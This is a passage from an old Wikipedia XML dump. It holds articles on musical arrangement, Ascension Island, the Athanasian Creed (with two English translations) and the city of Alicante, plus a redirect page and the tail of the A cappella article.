* [http://www.casa.org/index.php Contemporary A Cappella Society of America (CASA)]
* [http://www.rarb.org/ The Recorded A Cappella Review Board (RARB)]
* [http://www.acappellaweb.com/ The College A Cappella Web]
* [http://www.barbershop.org/ Barbershop Harmony Society]
* [http://www.allforacappella.org/ Alliance for A Cappella Initiatives (AACI)]

[[Category:Singing]]

[[ca:A capella]]
[[cs:A cappella]]
[[de:A cappella]]
[[et:A cappella]]
[[es:A capella]]
[[fr:A capella]]
[[it:A cappella]]
[[he:א-קפלה]]
[[ka:ა კაპელა]]
[[nl:A capella]]
[[ja:ア・カペラ]]
[[pl:A cappella]]
[[ru:А капелла]]
[[fi:A cappella]]
[[sv:A cappella]]
[[zh:無伴奏合唱]]</text>
    </revision>
  </page>
  <page>
    <title>Augmentation</title>
    <id>2412</id>
    <revision>
      <id>15900829</id>
      <timestamp>2005-04-04T23:37:28Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>split to [[augmentation (music)]] and [[augmentation (heraldry)]]; redir to disambig</comment>
      <text xml:space="preserve">#redirect [[augment]]</text>
    </revision>
  </page>
  <page>
    <title>Arrangement</title>
    <id>2414</id>
    <revision>
      <id>40129545</id>
      <timestamp>2006-02-18T09:55:46Z</timestamp>
      <contributor>
        <username>Hyacinth</username>
        <id>17171</id>
      </contributor>
      <comment>head arrangement</comment>
      <text xml:space="preserve">In [[music]], an '''arrangement''' loosely describes rewriting a piece of pre-existing [[music]] for a specific set of instruments or voices, often in harmony or with additional original material.  In [[jazz]] or [[Recording studio|studio]] settings, &quot;arranging&quot; is most commonly used to describe the process that is also called [[orchestration]], adaptation, setting, [[Instrumentation (music)|instrumentation]], or a variety of other terms. Orchestration differs in that it is only adapting music for an [[orchestra]] or [[musical ensemble]] while arranging &quot;involves adding compositional techniques, such as new thematic material for introductions, transitions, or modulations, and endings...Arranging is the art of giving an existing melody musical variety&quot; (Corozine 2002, p.3).

The [[American Federation of Musicians]] defines '''arranging''' as &quot;the art of preparing and adapting an already written composition for presentation in other than its original form. An arrangement may include reharmonization, paraphrasing, and/or development of a composition, so that it fully represents the melodic, harmonic, and rhythmic structure&quot; (ibid).

A satisfactory musical arrangement will most likely (ibid, p.4):
*Provide &quot;contrast between high and low sounds&quot;
*Avoid heavily doubled parts with an emphasis on solo sections
*Be &quot;sufficiently transparent to allow the musical lines to be clearly heard&quot; and
*Not have all the instruments playing throughout.

An arrangement is often an adaptation of a previously arranged piece of music for a musical application other than that for which it was originally intended. This includes arrangements for different [[musical instrument|instruments]], for example an arrangement for piano or [[flute]], or a [[duet]], based on a [[symphony|symphonic]] piece, or an arrangement of instrumental [[accompaniment]] for [[vocal music]]). Or, it may be an adaptation for another musical style, for example adaptation of a classical piece for a jazz or [[Rock (music)|rock]] [[ensemble]], orchestration of a song written by a popular band, or an [[a capella]] setting of a [[song]] from a [[Musical theater|stage musical]] or an [[opera]].

An arrangement may specify or vary some or all of:

* [[Harmony|Harmonies]], including [[musical parts|parts]].
* Instrumentation.
* [[Musical style|Style]], dynamics and other instructions to the players.
* Sequence, including the order and number of repeats of sections such as [[verse]]s and [[refrain|chorus]]es, and provision of sections to be [[improvisation|improvised]] by instrumentalists.
* [[Introduction (music)|Introduction]], [[coda (music)|coda]], [[modulation]]s and other [[variation (music)|variations]].

As with composition, the ready availability of [[sound recording]] equipment has changed the understanding of what &quot;arrangement&quot; means. At one stage, credit for an arrangement would only be given to a person who had produced a written musical score of some sort. More recently, any original treatment of an existing work that is available for repeated performance by other players may qualify to be loosely called an arrangement. In jazz an unscored collaborative arrangement is called a &quot;'''head arrangement'''&quot; (Randel 2002, p.294; it is in the head of the musician(s)). Every time a piece of music is performed it has an arrangement, which may or may not have been done by a professional arranger. 

==Popular music==
In [[popular music]] an '''arrangement''' is a setting of a piece of music, which may have been [[musical composition|composed]] by the '''arranger''' or by someone else. Most commonly, this is a matter of providing [[instrumentation]] for the [[songwriter]] or [[composer]]'s basic [[melody]] and [[harmony]].  It may add details omitted by the [[composer]], or it may replace those originally given and be merely based on the original work.

==Classical music==
In [[European classical music]] an '''arrangement''' is a setting of any composition for a medium other than the one in which it was created: for example, a [[piano]] piece may be arranged for full [[orchestra]], or an orchestral composition may be arranged for solo piano.  Often arrangement involves considerable reworking of the original material, in conformance with the resources of the final medium.

==Jazz music==
In jazz music, an '''arrangement''' is a specific setting of a pre-existing composition, although in jazz, the arranger has a larger role: it is common for jazz arrangers to contribute additional original material of their own, to significantly alter the forms and structures of the pre-existing material, or to combine the pre-existing material with snippets or quotes from other pre-existing material.

Big bands such as those of Duke Ellington, Bennie Moten, and Count Basie performed head arrangements (ibid).

==Arrangers==
Commerical and jazz arrangers include:
*Gil Evans
*Robert Farnon
*Nelson Riddle
*Henry Mancini
*Gordon Jenkins
*John Williams
*Don Costa
*Eddie Sauter
*Quincy Jones
*Claude Thornhill
*Duke Ellington
*Bob Florence
*Fletcher Henderson
*Peter Matz
*Don Sebesky
*Thad Jones
*Gerry Mulligan
*Jimmy Giuffre
*Billy May
*Neil Hefti
*Billy Byers
*Bill Holman
:(Corozine 2002, p.5)

For a more complete list, see:
*[[List of arrangers]]

==Further reading==
*''The Billboard Book of Rock Arranging'' by Mark Michaels, ISBN 0823075370.
*''The Professional Arranger Composer'' by Russ Garcia
*''Composing for the Jazz Orchestra'' by Bill Russo

==Sources==
*Corozine, Vince (2002). ''Arranging Music for the Real World: Classical and Commercial Aspects''. ISBN 0786649615.
*Randel, Don Michael (2002). ''The Harvard Concise Dictionary of Music and Musicians''. ISBN 0674009789.

[[Category:Musical terminology]]

[[de:Arrangement]]
[[it:Arrangiamento]]
[[nl:Arrangement]]
[[pt:Arranjo]]
[[sl:Aranžer]]</text>
    </revision>
  </page>
  <page>
    <title>Ascension Island</title>
    <id>2415</id>
    <revision>
      <id>41565448</id>
      <timestamp>2006-02-28T04:38:53Z</timestamp>
      <contributor>
        <username>Iyobi</username>
        <id>929781</id>
      </contributor>
      <comment>Added location map</comment>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; cellpadding=&quot;4&quot; style=&quot;width: 20em; font-size: 95%;&quot;
|+ style=&quot;margin-left: inherit; font-size: medium;&quot; | '''Ascension Island'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |
{| style=&quot;width: 280px; background: none; text-align: center;&quot;
|- style=&quot;vertical-align: middle;&quot;
| style=&quot;border: 0;&quot; | &lt;span style=&quot;display:table-cell; border-collapse:collapse; border: solid 1px #BBBBBB;&quot;&gt;[[Image:Flag of the United Kingdom.svg|125px|Flag of the UK]]&lt;/span&gt;
| style=&quot;border: 0;&quot; | [[Image:UK Royal Coat of Arms.png|95px|UK Royal Arms]]
|- style=&quot;font-size: smaller;&quot;
| style=&quot;border: 0;&quot; | Flag  
| style=&quot;border: 0;&quot; | Coat of Arms
|}
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; |&lt;small&gt; [[National anthem|Anthem]]: [[God Save the Queen]],&lt;/small&gt;
|-
| '''[[Capital]]'''
| [[Georgetown]]
|-
| '''Status'''
| [[British overseas territory|Overseas territory]] of the [[United Kingdom]]
|-
| '''[[Official language|Official&amp;nbsp;language(s)]]'''
| [[English language|English]]
|-
|'''[[Administrator of Ascension Island|Administrator]]'''
|[[Michael Hill]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List_of_countries_by_area|Ranked 77]] ([[United Kingdom]])&lt;br&gt;35&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]] (91 km²)&lt;!-- From http://www.ascension-island.gov.ac/ascension.htm --&gt;&lt;br&gt;0
|-
| '''[[Population]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| &lt;br&gt;1,100&lt;br&gt;22 per [[square kilometre|km²]] (57 per sq. mile)
|-
|'''[[Currency]]'''                      
|[[Pound sterling]]; [[US Dollar]] (accepted)
|-
|'''[[Time zone]]'''                     
|[[Coordinated Universal Time|UTC]]: +6 ([[Daylight saving time|DST]]: ?)
|-
|'''[[Top-level domain|Internet TLD]]''' 
|[[.ac]]
|-
|'''[[List_of_country_calling_codes|Calling Code]]'''
|246
|}


'''Ascension Island''' is an [[island]] in the [[South Atlantic Ocean]], around 1,000 [[mile]]s (1,600&amp;nbsp;[[kilometer|km]]) from the coast of [[Africa]]. It is a dependency of the [[British overseas territory]] of [[Saint Helena]], which is 750 miles (1,200&amp;nbsp;km) to the south. The Island is named after the day of its recorded discovery, [[Ascension Day]].

The Island is most known as the location of Wideawake Airfield, which is a joint facility of the [[Royal Air Force]] and the [[United States Air Force]]. The Island was used extensively by the British military during the [[Falklands War]].

==History==

The Portuguese explorer [[Juan da Nova Castella]] is believed to be the first  person to discover the island (in [[1501]]), but did not report it. When in [[1503]] [[Alphonse d'Albuquerque]] (Afonso de Albuquerque, a [[portugal|portuguese]] navigator) saw the island on [[Ascension Day]] as listed on the Roman Catholic Church calendar, he named it for that day of its sighting. Dry and barren, it had little appeal for passing ships except as a provisioning station (local birds provided ample fresh meat), and remained uninhabited until [[1815]], when the British garrisoned it as a precaution after imprisoning [[Napoleon I of France]] on [[St Helena]] to the southeast. The [[Royal Navy]] officially designated the island as &quot;HMS Ascension&quot; with the classification of &quot;Sloop of War of the smaller class&quot;. A [[Stone frigate|Stone ship]] was a naval nickname for such land based establishments.

The location of the Island made it a useful stopping point for ships and communications. The [[Royal Navy]] used the Island as a victualling station for ships, particularly those of the [[West Africa Squadron]] working against the slave trade. A garrison of [[Royal Marines]] were based at Ascension from [[1923]]. [[1898]], the Eastern Telegraph Company (now part of [[Cable and Wireless]]), installed the first underwater cable from the Island, connecting the UK with its colonies in [[South Africa]]. In [[1922]], [[Letters Patent]] made Ascension a dependency of [[Saint Helena]], with the island being managed by the head of the Eastern Telegraph Company on the Island until [[1964]] when the British Government appointed an Administrator to represent the Governor of Saint Helena on Ascension. 
[[Image:View of Wideawake Airfield.jpg|thumb|300px|left|View of Ascension Island showing Wideawake Airfield]]
During [[World War II]], the [[United States]] built an airbase on Ascension, known as Wideawake after a neaby colony of sooty turns (locally called 'Wideawake' birds beacause of their distictive call, which sounds like they are saying &quot;wideawake! wideawake!&quot;). The airbase was used by the US military as a stopping point for American aircraft crossing the Atlantic on the way to theatres of operation in Europe and Africa. After the end of WW-2, and American departure, the airbase fell into disuse. 

With the &quot;space race&quot; and the &quot;cold war&quot; Americans began a return in [[1956]]. Wideawake airfield was expanded in the mid 1960's. The runway, with its strange hump, was extended, widened, and improved to allow its use by large aircraft, and acts as an emergency runway for the [[Space Shuttle]].  Ascension Island continues to serve as an important link in the American space projects. The [[NASA]] established a tracking station on Ascension Island in [[1967]], but has since abandonded it. The [[BBC]] installed a relay station for broadcasts to South America and Africa. 

In [[1982]], Ascension was used as a staging post for the British Task Force during the [[Falklands War]]. The [[Royal Air Force]] deployed a fleet of [[Avro_Vulcan|Vulcan]] bombers at the airfield. The opening shots of the British offensive were launched from Ascension by Vulcans in [[Operation Black Buck]]. The RAF also used the base to supply the Task Force. The increase in air traffic during the war saw Wideawake being classed as the busiest airfield in the world for a short period. The Royal Navy's fleet stopped at Ascension for refuelling on the way. Following the war, the British retained an increased presence on the island, establishing [[RAF Ascension Island]], and providing a refuelling stop for the regular airlink between [[RAF Brize Norton]] in Oxfordshire, and [[RAF Mount Pleasant]] in the [[Falkland Islands]].

==Politics==

Ascension is a dependency of Saint Helena, an overseas territory of the United Kingdom. Executive authority is vested in [[Queen Elizabeth II|The Queen]], who is represented by the [[Governor of Saint Helena]]. As the Governor resides in [[Jamestown]], Saint Helena, an [[Administrator of Ascension Island|Administrator]] is appointed to represent the Governor on Ascension Island.

In [[2002]], changes in the constitutional arrangements for Ascension Island, saw the first Island Council being elected. 

Ascension also has its own suite of local laws, based on the law of Saint Helena, and the UK.

==Geography==
[[Image:Ascension Island Map.jpg|thumb|250px|Map of Ascension Island]]
The main island has an area of approximately 35 [[square mile]]s (91&amp;nbsp;km²)&lt;!-- From http://www.ascension-island.gov.ac/ascension.htm --&gt;. A volcanic peak rising from just west of the [[mid-Atlantic Ridge]], much of the island is a wasteland of lava flows and cinder cones; no less than 44 distinct craters have been identified. While it was barren with very few plants as recently as [[1843]], Ascension Island's [[Green Mountain]] is now one of the few large-scale [[artificial forest]]s, and is gradually growing with each year. Its highest point is at 2,817&amp;nbsp;[[foot (unit of length)|feet]] (859&amp;nbsp;[[metre|m]]).

Ascension's climate is subtropical, with temperatures at the coast ranging from about 68 to 88 [[Fahrenheit]] (20&amp;ndash;31&amp;nbsp;°C), and about 10 degrees cooler at the highest point. Rain showers may occur at any time during the year, but tend to be heavier between January and April.

==Demographics==

There is no indigenous population on the Island, although around 1,100 people live there as of 2005. The military and civilian contractors of the United States and the United Kingdom, along with citizen workers imported from Saint Helena, make up the bulk of the population. The United States of America has around 150 people who service the US Air Force facilities on the island and at Wideawake airfield. [[RAF Ascension Island]] is made up of 200 staff. Other residents include some British government employees including the island's British Administrator.

There are five settlements, the capital being '''[[Georgetown]]''':

#Georgetown (pop. 560)
#Cat Hill (Main Base, the U.S. base, pop. 150)
#The Residency
#Traveller's Hill (Wideawake, the Royal Air Force base, pop. 200)
#Two Boats Village

Additionally, there are some cottages on Green Mountain.

It is difficult to gain an entry to Ascension Island as one needs the written permission of the Administrator. Additionally, it is a near-impossibility to take up permanent residence. Employment is a requirement to stay on the island.  The UK government has asserted that no inhabitant of Ascension Island has a &quot;right to abode.&quot; It is a point now in dispute by Council members, long time employees, and their family members, as noted in the local newspaper &quot;The Islander.&quot;

==Economy==
[[Image:Stamp_Ascension_1937_1.5p.jpg|200px|thumb|View of &quot;The Pier&quot;, 1938]]

The main economic activity on the island is centered around the military bases at Wideawake Airfield. SERCO Ltd manages the airport with ESS Ltd providing catering and domestic facilities. A former feature of Ascension was the permanently moored 70,000 tonne tanker offshore run by the Maersk which served as a bulk fuel facility but in December 2002 this was replaced by an on-shore Petroleum Supply Depot under military management

The Island also hosts many communications and relay stations, exploiting the Island's strategic position in the middle of Atlantic Ocean. Both the [[BBC]] and [[Cable and Wireless]] have communications posts there. 

The main export item is [[Postage stamps of Ascension Island|Ascension Island postage stamps]], first issued in [[1922]]. Typically 5 to 6 sets of stamps are issued each year.

Very limited tourism exists, mostly for sportfishing. Further restricting access is the inaccessability of the island to transport, and restrictive permissions required for entry.

==Transport==
[[Image:Ascension_Island_Location.jpg|200px|thumb|Ascension Island Location]]

The Island has a regular airlink with the United Kingdom and the Falkland Islands, with weekly flights to [[RAF Brize Norton]], west of [[London]] and to [[RAF Mount Pleasant]] in the [[Falkland Islands]]. Although these are operated by the Royal Air Force, civilians are permitted to fly at their own expense. The United States maintains a weekly flight between the Island and [[Patrick Air Force Base]] in [[Florida]]. Past UK and US governments have reached an agreement to allow civilan aircraft to land on Ascension Island. It was a move designed to improve tourist links-- and islanders economy--although no services have yet taken place, and the possibility of this is being reconsidered. 

The [[RMS Saint Helena|RMS ''Saint Helena'']] operates between Ascension Island and Saint Helena on a scheduled basis, and provides a connection to [[Cape Town]] and [[Cardiff]]. The US military service their base and facilities with a regular supply ship and air transport.

Within Ascension, there is no public transport and no taxis, any visitors requiring transport are required to hire a car.  There are about 25 miles (40 km) of roads on the island. &lt;!-- cia.gov --&gt;

== Flora and Fauna==

The protected [[Green turtle]] is perhaps the most notable of the wildlife, coming ashore to lay their eggs on the beaches from January to May. [[Sooty tern]] or &quot;Wideawake Bird&quot; nests in great seashore lava &quot;fairs,&quot; along with [[booby|boobies]], [[petrel]]s, [[noddie]]s, [[Ascension frigate bird]]s, and [[boatswain bird]]s. On land are found [[canary|canaries]], [[francolin]]s, [[mynah]]s, [[sparrow]]s, and [[waxbill]]s. A variety of mammals have been introduced: donkey, sheep, cats and rats among others. Reptiles consist of two species of lizards.  In summer flies are problematic.  Crowning Green Mountain is a lush halo of bamboo, while on one flank is a large stand of tall pine trees.  A few wild flowers narrowly abound [[periwinkle]], cactus is present with land crabs in several large colonies near the sea and mountains.  

Offshore, there is a variety of open-ocean fish, including [[shark]]s, [[wahoo]], [[tuna]], [[bonita]], [[barracuda]], [[marlin]], [[blackfish]] and [[sailfish]].

== References ==
*[http://www.ascension-island.gov.ac/ Official Ascension Island Government site]
{{Global Volcanism Program}}

==External links==

*[http://www.astronautix.com/sites/ascnsion.htm Rocket launches from Ascension]
*[http://geosciences.ou.edu/~bweaver/Ascension/ai.htm Barry Weaver home page of Ascension Islands]
[http://www.cia.gov/cia/publications/factbook/geos/sh.html]

{{British dependencies}}

[[Category:Saint Helena]]
[[Category:Ascension Island|*]]
[[Category:Mountains and hills of British overseas territories]]

[[ast:Islla Ascensión]]
[[de:Ascension]]
[[es:Isla Ascensión]]
[[fr:Ascension (île)]]
[[gl:Illa de Ascensión]]
[[ko:어센션 섬]]
[[nl:Ascension]]
[[ja:アセンション島]]
[[no:Ascension]]
[[pl:Wyspa Wniebowstąpienia]]
[[pt:Ascensão]]
[[sl:Ascension]]
[[sv:Ascension]]
[[zh:阿森松岛]]</text>
    </revision>
  </page>
  <page>
    <title>Athanasian Creed</title>
    <id>2416</id>
    <revision>
      <id>41251027</id>
      <timestamp>2006-02-26T01:50:58Z</timestamp>
      <contributor>
        <username>Paolo</username>
        <id>14755</id>
      </contributor>
      <minor />
      <comment>it interwiki</comment>
      <text xml:space="preserve">The '''Athanasian Creed''' (''Quicunque vult'') is a statement of [[Christianity|Christian]] doctrine traditionally ascribed to [[Athanasius of Alexandria|St. Athanasius]], Archbishop of [[Alexandria]], who lived in the [[4th century]]. However most of today's historians agree that in all probability it was originally written in [[Latin]], not in [[Greek language|Greek]], and probably originated in Gaul around 500; if so, then Athanasius cannot have been the original author. Its [[theology]] is closely akin to that found in the writing of Western theologians, especially [[Ambrose of Milan]].

It was designed to overcome [[Arianism]]. Liturgically, this Creed was recited at the Sunday Office of [[Prime (liturgy)|Prime]] in the Western Church; it is not used in the Eastern Church. 

Today the Athanasian Creed is rarely used even in the Western Church.  When used, one common practice is to use it once a year on [[Trinity Sunday]].

==English-Language Translations==

===The ICET English Language Translation===

The following translation was prepared by
the [[Consultation on Common Texts|International Consultation on English Texts]]:

:Whoever wants to be saved should above all cling to the catholic faith.

:Whoever does not guard it whole and inviolable will doubtless perish eternally.

:Now this is the catholic faith: We worship one God in trinity and the Trinity in unity, neither confusing the persons nor dividing the divine being.

:For the Father is one person, the Son is another, and the Spirit is still another.

:But the deity of the Father, Son, and Holy Spirit is one, equal in glory, coeternal in majesty.

:What the Father is, the Son is, and so is the Holy Spirit.

:Uncreated is the Father; uncreated is the Son; uncreated is the Spirit.

:The Father is infinite; the Son is infinite; the Holy Spirit is infinite.

:Eternal is the Father; eternal is the Son; eternal is the Spirit:

:And yet there are not three eternal beings, but one who is eternal;

:as there are not three uncreated and unlimited beings, but one who is uncreated and unlimited.

:Almighty is the Father; almighty is the Son; almighty is the Spirit:

:And yet there are not three almighty beings, but one who is almighty.

:Thus the Father is God; the Son is God; the Holy Spirit is God:

:And yet there are not three gods, but one God.

:Thus the Father is Lord; the Son is Lord; the Holy Spirit is Lord:

:And yet there are not three lords, but one Lord.

:As Christian truth compels us to acknowledge each distinct person as God and Lord, so catholic religion forbids us to say that there are three gods or lords.

:The Father was neither made nor created nor begotten;

:the Son was neither made nor created, but was alone begotten of the Father;

:the Spirit was neither made nor created, but is proceeding from the Father and the Son.

:Thus there is one Father, not three fathers; one Son, not three sons; one Holy Spirit, not three spirits.

:And in this Trinity, no one is before or after, greater or less than the other;

:but all three persons are in themselves, coeternal and coequal; and so we must worship the Trinity in unity and the one God in three persons.

:Whoever wants to be saved should think thus about the Trinity.

:It is necessary for eternal salvation that one also faithfully believe that our Lord Jesus Christ became flesh.

:For this is the true faith that we believe and confess: That our Lord Jesus Christ, God's Son, is both God and man.

:He is God, begotten before all worlds from the being of the Father, and he is man, born in the world from the being of his mother --

:existing fully as God, and fully as man with a rational soul and a human body;

:equal to the Father in divinity, subordinate to the Father in humanity.

:Although he is God and man, he is not divided, but is one Christ.

:He is united because God has taken humanity into himself; he does not transform deity into humanity.

:He is completely one in the unity of his person, without confusing his natures.

:For as the rational soul and body are one person, so the one Christ is God and man.

:He suffered death for our salvation.

:He descended into hell and rose again from the dead.

:He ascended into heaven and is seated at the right hand of the Father.

:He will come again to judge the living and the dead.

:At his coming all people shall rise bodily to give an account of their own deeds.

:Those who have done good will enter eternal life,

:those who have done evil will enter eternal fire.

:This is the catholic faith.

:One cannot be saved without believing this firmly and faithfully.

===Book of Common Prayer 1662 Church of England===

''(Note that this version contains an arguable borderline mistranslation when the Latin word &quot;immensus&quot;, meaning immeasurable or infinite, is rendered into English as &quot;incomprehensible&quot;, and uses some terms which probably convey very little specific meaning to the mind of the typical 21st-century English-speaker, such as when the Latin word &quot;divinitas&quot;, meaning divine nature or quality of divinity, is translated into English as &quot;godhead&quot;.)''

:At Morning Prayer

:Upon these Feasts; Christmas Day, the Epiphany, Saint Matthias, Easter Day, Ascension Day, Whitsunday, Saint John Baptist, Saint James, Saint Bartholomew, Saint Matthew, Saint Simon and Saint Jude, Saint Andrew, and upon Trinity Sunday, shall be sung or said, this Confession of our Christian Faith, commonly called the Creed of Saint Athanasius, by the Minister and people standing.

:QUICUNQUE VULT

:Whosoever will be saved : before all things it is necessary that he hold the Catholick Faith.

:Which Faith except every one do keep whole and undefiled : without doubt he shall perish everlastingly.

:And the Catholick Faith is this : That we worship one God in Trinity, and Trinity in Unity;

:Neither confounding the Persons : not dividing the Substance.

:For there is one Person of the Father, another of the Son : and another of the Holy Ghost.

:But the Godhead of the Father, of the Son, and of the Holy Ghost is all one : the Glory equal, the Majesty co-eternal.

:Such as the Father is, such is the Son : and such is the Holy Ghost.

:The Father uncreate, the Son uncreate : and the Holy Ghost uncreate.

:The Father incomprehensible, the Son incomprehensible : and the Holy Ghost incomprehensible.

:The Father eternal, the Son eternal : and the Holy Ghost eternal.

:And yet they are not three eternals : but one eternal.

:As also there are not three incomprehensibles, nor three uncreated : but one uncreated, and one incomprehensible.

:So likewise the Father is Almighty, the Son Almighty : and the Holy Ghost Almighty.

:And yet they are not three Almighties : but one Almighty.

:So the Father is God, the Son is God : and the Holy Ghost is God.

:And yet they are not three Gods : but one God.

:So likewise the Father is Lord, the Son Lord : and the Holy Ghost Lord.

:And yet not three Lords : but one Lord.

:For like as we are compelled by the Christian verity : to acknowledge every Person by himself to be God and Lord;

:So are we forbidden by the Catholick Religion : to say there be three Gods, or three Lords.

:The Father is made of none : neither created, nor begotten.

:The Son is of the Father alone : not made, nor created, but begotten.

:The Holy Ghost is of the Father and of the Son : neither made, nor created, nor begotten, but proceeding.

:So there is one Father, not three Fathers; one Son, not three Sons : one Holy Ghost, not three Holy Ghosts.

:And in this Trinity none is afore, or after other : none is greater, or less than another;

:But the whole three Persons are co-eternal together : and co-equal.

:So that in all things, as is aforesaid : the Unity in Trinity, and Trinity in Unity is to be worshipped.

:He therefore that will be saved : must thus think of the Trinity.

:Furthermore, it is necessary to everlasting salvation : that he also believe rightly the Incarnation of our Lord Jesus Christ.

:For the right Faith is that we believe and confess : that our Lord Jesus Christ, the Son of God, is God and Man;

:God, of the Substance of the Father, begotten before the worlds : and Man, of the Substance of his Mother, born in the world;

:Perfect God, and Perfect Man : of a reasonable soul and human flesh subsisting;

:Equal to the Father, as touching his Godhead : and inferior to the Father, as touching his Manhood.

:Who although he be God and Man : yet he is not two, but one Christ;

:One, not by the conversion of the Godhead into flesh : but by taking of the Manhood into God;

:One altogether, not by confusion of Substance : but by unity of Person.

:For as reasonable soul and flesh is one man : so God and Man is one Christ.

:Who suffered for our salvation : descended into hell, rose again the third day from the dead.

:He ascended into heaven, he sitteth on the right hand of the Father, God Almighty : from whence he shall come to judge the quick and the dead.

:At whose coming all men shall rise again with their bodies : and shall give account for their own works.

:And they that have done good shall go into life everlasting : and they that have done evil into everlasting fire.

:This is the Catholick Faith : which except a man believe faithfully, he cannot be saved.

:Glory be to the Father, and to the Son : and to the Holy Ghost;

:As it was in the beginning, is now, and ever shall be : world without end.  Amen.

===Scholarly edition and annotated translation===

There is a scholarly comparative edition of the original Latin text of the Athanasian creed, along with commentary on the older English translation at [http://www.ccel.org/ccel/schaff/creeds2.iv.i.iv.html http://www.ccel.org/ccel/schaff/creeds2.iv.i.iv.html]

== See also ==

*[[Creed]]
*[[Apostles' Creed]]
*[[Nicene Creed]]
*[[Shield of the Trinity]]

[[Category:Ancient Roman Christianity]]
[[category:Christian Confessions, Creeds and Statements]]
[[Category:Christian texts]]

[[cs:Vyznání Quicumque]]
[[de:Athanasisches Glaubensbekenntnis]]
[[fr:Symbole d'Athanase]]
[[it:Simbolo Atanasiano]]
[[la:Symbolum Quicumque]]
[[nl:Geloofsbelijdenis van Athanasius]]
[[fi:Athanasioksen uskontunnustus]]
[[pt:Credo de Atanásio]]
[[sv:Athanasianska trosbekännelsen]]</text>
    </revision>
  </page>
  <page>
    <title>Alicante</title>
    <id>2417</id>
    <revision>
      <id>42074272</id>
      <timestamp>2006-03-03T17:21:34Z</timestamp>
      <contributor>
        <ip>84.120.13.71</ip>
      </contributor>
      <comment>Land of Valencia is a Martorell-Disney invention of the name</comment>
      <text xml:space="preserve">[[Image:Alicante, Spain location.png|frame]]
'''Alicante''' ([[Spanish language|Castillian Spanish]]) or '''Alacant''' ([[Catalan language|Valencian Catalan]]) is the capital of the province of [[Alicante (province)|Alicante]] and of the [[comarca]] of the [[Alacantí]], in the southern part of the [[Valencia (autonomous community)|Valencian community]], [[Spain]], a historic [[Mediterranean Sea|Mediterranean]] port.  The population of the city of Alicante proper was 319,380, estimated [[as of 2005]], of the entire urban area, 427,217. Population of the [[metropolitan area]] (including satellite towns) was 711,215 as of 2005 estimates, ranking as the eighth-largest metropolitan area of Spain.

[[Image:Alicante_Spain_townhall.jpg|thumb|left|200px|City Hall.]]
Alicante is one of the fastest-growing cities in Spain. Its economy is based upon tourism in the beaches from [[Costa Blanca]] coast, [[wine]] production, services and administration. It exports wine, olive oil, and fruit, and has light industries, including food-processing, leather, textiles, and pottery. ''[[turrón|turrones]]'' (''torrons'' in Catalan) &amp;mdash;a honey and almond [[nougat]]&amp;mdash;is a food specialty of Alicante.

[[Image:Alicante_Spain_marina.jpg|thumb|right|200px|Marine of Alicante.]]
The city has regular [[ferry]] services to the [[Balearic Islands]], and an international airport is nearby. It is strongly fortified, with a spacious harbor.  Amongst the most notable features of the city is its [[castle]], the &quot;Castillo de Santa Barbara&quot;, which sits high above the city upon a cliff.  The most important festival,  the ''[[Bonfires of Saint John]]'', takes place at the time of the [[summer solstice]], and they are declared of international touristic interest. Another well-known festival is ''[[Moros y Cristianos]]'' in any quarter of the city, such as Altozano or Saint Blase.

The city is the headquarters of the [[Office for Harmonisation in the Internal Market]].
[[Image:Alicante_Spain_-_the_city_and_the_sea.jpg|thumb|right|400px|View over Alicante and the [[Mediterranean]].]]

==Population==
The population of *[http://www.alicante-spain.com Alicante] in 2005 was 325,797 inhabitants, 711,215 in the metropolitan area &quot;Alicante-[[Elx]]&quot;. About 15% of the population is foreign, mostly those from [[Argentina]], [[Ecuador]], and [[Colombia]].

==History==
[[Image:Skyline de Alicante.JPG|thumb|right|400px|The Mediterranean]]
Alicante was founded in [[324 BC]] by the [[Ancient Greece|Greeks]], who named it ''Akra Leuke'' (White Peak). In [[201 BC]] it was captured by the [[Roman Empire|Romans]] who called it ''Lucentum'', and [[Hannibal]] is said to have unloaded his famous [[war elephant]]s here. Between [[718]] and [[1249]], the city was ruled by the [[Moors]]. In [[1265]] it was retaken by [[Alfonso X of Castile]] and incorporated into the kingdom of [[Castile]]. In [[1304]] it was incorporated into the kingdom of Valencia, in the [[Aragon]] Crown.

The city was besieged by the [[France|French]] in [[1709]] and [[1812]], and later by the Federalists of [[Cartagena, Spain|Cartagena]] in [[1873]].  In the [[Spanish Civil War]], Alicante was bombed by Italian aircraft, and was one of the last cities to fall to [[Francisco Franco|Franco]]. In Alicante, the Falangist [[José Antonio Primo de Rivera]] was executed in November 1936. 

In 1982 and 1997 heavy rain caused severe flooding and some loss of life.

==Famous citizens==
*[[Carlos Arniches]] (1866-1943), novelist
*[[Gabriel Miró]] (1879-1930), novelist
*[[Antonio Gades]] (1936-2004), Flamenco dancer
*[[Juan Escarré]] (*1969), field hockey player
*[[Belen Rueda]], actress
*[[Miriam Blasco]], judoka olympic winner
*[[Isabel Fernandez]], judoka olympic winner
*[[Vanessa Romero]], model an actress
*[[Maria Jurado]], model and actress

==External links==
* [http://www.mulliganbirdie.com/ Alicante Info]
* [http://www.alicante-ayto.es/ Official website of Alicante]
* [http://www.ua.es/ University of Alicante]
* [http://www.fogueres.net/ Bonfires of Saint John]
* [http://www.aena.es/csee/Satellite?pagename=Estandar%2FPage%2FAeropuerto&amp;c=Page&amp;MO=0&amp;SMO=-1&amp;SiteName=ALC%26cid%3D1049437849176 Alicante Airport]
* [http://www.alicante-spain.com Alicante Information], from a local citizen
* [http://www.gocostablanca.com/cities/alicante/tourist-guide-to-alicante Alicante City Guide]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Valencia]]
[[Category:Municipalities in Spain]]
[[Category:Ports and harbours of Spain]]

[[ar:أليكانته]]
[[ca:Alacant]]
[[de:Alicante]]
[[es:Alicante]]
[[eo:Alakanto]]
[[fr:Alicante]]
[[it:Alicante]]
[[ja:アリカンテ]]
[[la:Lucentum]]
[[nl:Alicante (stad)]]
[[no:Alicante]]
[[pl:Alicante]]
[[pt:Alicante]]
[[ro:Alicante]]
[[fi:Alicante]]
[[sv:Alicante (stad)]]
